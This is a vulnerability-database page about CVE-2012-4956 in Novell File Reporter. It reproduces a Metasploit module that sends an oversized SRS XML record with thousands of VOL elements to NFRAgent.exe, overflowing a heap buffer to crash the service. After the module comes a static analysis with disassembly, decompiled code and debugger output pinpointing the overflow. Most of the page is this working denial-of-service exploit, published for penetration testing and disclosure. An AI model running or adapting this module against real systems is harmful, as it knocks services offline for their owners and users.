Lucene search
K

NFR Agent Heap Overflow Vulnerability

🗓️ 16 Nov 2012 15:03:09Reported by juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

NFR Agent Heap Overflow, NFRAgent.exe vulnerability copying user controlled data into a fixed-length buffer without bounds checkin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
NFR Agent FSFUI Record File Upload Remote Command Execution
17 Nov 201200:00
zdt
0day.today
Novell File Reporter Agent XML Parsing Remote Code Execution
12 Dec 201200:00
zdt
Circl
CVE-2012-4956
29 May 201815:50
circl
Circl
CVE-2012-4959
19 Nov 201200:00
circl
Check Point Advisories
Novell File Reporter FSFUI File Upload (CVE-2012-4959)
10 Dec 201200:00
checkpoint_advisories
Check Point Advisories
NFR Agent Heap Overflow (CVE-2012-4956)
15 Jan 201300:00
checkpoint_advisories
CVE
CVE-2012-4956
18 Nov 201219:00
cve
CVE
CVE-2012-4958
18 Nov 201219:00
cve
CVE
CVE-2012-4959
18 Nov 201219:00
cve
Cvelist
CVE-2012-4956
18 Nov 201219:00
cvelist
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NFR Agent Heap Overflow Vulnerability',
      'Description'    => %q{
          This module exploits a heap overflow in NFRAgent.exe, a component of Novell
        File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
        where NFRAgent.exe fails to generate a response in a secure way, copying user
        controlled data into a fixed-length buffer in the heap without bounds checking.
        This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).
      },
      'Author'         => [ 'juan vazquez' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2012-4956' ],
        [ 'URL', 'https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/' ]
      ],
      'DisclosureDate' => '2012-11-16'))

    register_options(
      [
        Opt::RPORT(3037),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])

  end

  def run
    record = "<RECORD>"
    record << "<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>" # Operation
    record << "<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>" * 0xc35 # Volumes
    record << "</RECORD>"

    md5 = Rex::Text.md5("SRS" + record + "SERVER").upcase
    message = md5 + record

    print_status("Triggering a heap overflow to cause DoS...")

    begin
    res = send_request_cgi(
      {
        'uri'     => '/FSF/CMD',
        'version' => '1.1',
        'method'  => 'POST',
        'ctype'   => "text/xml",
        'data'    => message
      })
    rescue ::Errno::ECONNRESET
      print_good("NFR Agent didn't answer, DoS seems successful")
      return
    end

    if res
      print_error("NFR Agent didn't die, it still answers...")
      return
    end

    print_good("NFR Agent didn't answer, DoS seems successful")
  end
end

=begin

* Static analysis

1) Handling of "SRS" records happens in handle_SRS_sub_4048D0:

.text:00404BE9                 add     esp, 0Ch
.text:00404BEC                 push    14h             ; length_arg_C
.text:00404BEE                 lea     eax, [ebp+record_name_var_28]
.text:00404BF1                 push    eax             ; result_arg_8
.text:00404BF2                 push    offset aName    ; "NAME"
.text:00404BF7                 mov     ecx, [ebp+message_arg_8]
.text:00404BFA                 add     ecx, 20h
.text:00404BFD                 push    ecx             ; xml_message_arg_0
.text:00404BFE                 mov     ecx, [ebp+var_2C]
.text:00404C01                 call    parse_tag_sub_40A760 ; search tag "NAME" in the xml_message_arg_0 and store contents int he "record_name_var_28" variable
.text:00404C06                 movzx   edx, al
.text:00404C09                 test    edx, edx
.text:00404C0B                 jz      short loc_404C8B
.text:00404C0D                 push    offset aSrs_2   ; "SRS"
.text:00404C12                 lea     eax, [ebp+record_name_var_28]
.text:00404C15                 push    eax             ; char *
.text:00404C16                 call    _strcmp         ; compares the contents of the "NAME"  element in the xml message from the request with the "SRS" string.
.text:00404C1B                 add     esp, 8
.text:00404C1E                 test    eax, eax
.text:00404C20                 jnz     short loc_404C38 ; if not "SRS" name check others, if yes, handle it...
.text:00404C22                 mov     ecx, [ebp+message_arg_8]
.text:00404C25                 push    ecx             ; void *
.text:00404C26                 mov     edx, [ebp+arg_4]
.text:00404C29                 push    edx             ; int
.text:00404C2A                 mov     eax, [ebp+arg_0]
.text:00404C2D                 push    eax             ; int
.text:00404C2E                 call    handle_SRS_sub_4048D0 ; handle the XML message with the RECORD of NAME "SRS"

2) In this function memory is allocated to store the response which will be build:

.text:00404903                 push    0C350h          ; size_t
.text:00404908                 call    _malloc
.text:0040490D                 add     esp, 4
.text:00404910                 mov     [ebp+response_var_8], eax

0:007> g
Breakpoint 0 hit
eax=009e68b8 ebx=003f3bf8 ecx=b85645ca edx=7c90e4f4 esi=003f3bf8 edi=00000000
eip=00404908 esp=0120ff4c ebp=0120ff58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x4908:
00404908 e84cef0300      call    NFRAgent+0x43859 (00443859)
0:007> dd esp L1
0120ff4c  0000c350
0:007> p
eax=01220110 ebx=003f5e20 ecx=7c9101bb edx=009e0608 esi=003f5e20 edi=00000000
eip=0040490d esp=0120ff4c ebp=0120ff58 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x490d:
0040490d 83c404          add     esp,4
0:007> !heap -p -a eax
    address 01220110 found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)

3) The SRS record used in this module is handled by:

.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)

4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:

    for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
    {
      parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
      volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
      volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
      if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
        v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
        free(vol_name_html_encode_var_494);
        vol_name_html_encode_var_494 = 0;
      }
else
{ // If the volume name hasn’t been HTML Encoded
        v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
          &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
          "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
      }
    }

The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:

Breakpoint 1 hit
eax=0122013e ebx=003f5e20 ecx=01220110 edx=c7ff3d52 esi=00479f89 edi=0120f1a1
eip=004085c5 esp=0120eec8 ebp=0120f3c0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
NFRAgent+0x85c5:
004085c5 e84ea70300      call    NFRAgent+0x42d18 (00442d18)
0:007> dd esp L1
0120eec8  0122013e
0:007> !heap -p -a 0122013e
    address 0122013e found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)
0:007> da poi(esp+4)
0047a040  "<VOL><NAME>%s</NAME><FSPACE>%I64"
0047a060  "d</FSPACE></VOL>"
0:007> da poi(esp+8)
01250208  "AAAAAAAAAA"

After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:

0:007> g
Breakpoint 0 hit
eax=00000000 ebx=003f5e20 ecx=00443085 edx=012501b0 esi=00479f89 edi=0120f1a1
eip=00408645 esp=0120eedc ebp=0120f3c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
NFRAgent+0x8645:
00408645 c7852cfbffff00000000 mov dword ptr [ebp-4D4h],0 ss:0023:0120eeec=03ee2001
0:007> !heap -p -a 01220110
    address 01220110 found in
    _HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01220108 186b 0000  [01]   01220110    0c350 - (busy)
0:007> !heap -p -a 01220110+0xc350
    address 0122c460 found in
_HEAP @ 9e0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0122c460 3e45 0000  [46]   0122c468    1f220 - (free)
0:007> db 0122c460 L8
0122c460  45 3e 30 3c 2f 46 53 50                          E>0</FSP
0:007> db 0122c468 L10
0122c468  41 43 45 3e 3c 2f 56 4f-4c 3e 3c 56 4f 4c 3e 3c  ACE></VOL><VOL><
=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
0.1Low risk
Vulners AI Score0.1
CVSS 210
EPSS0.71194
42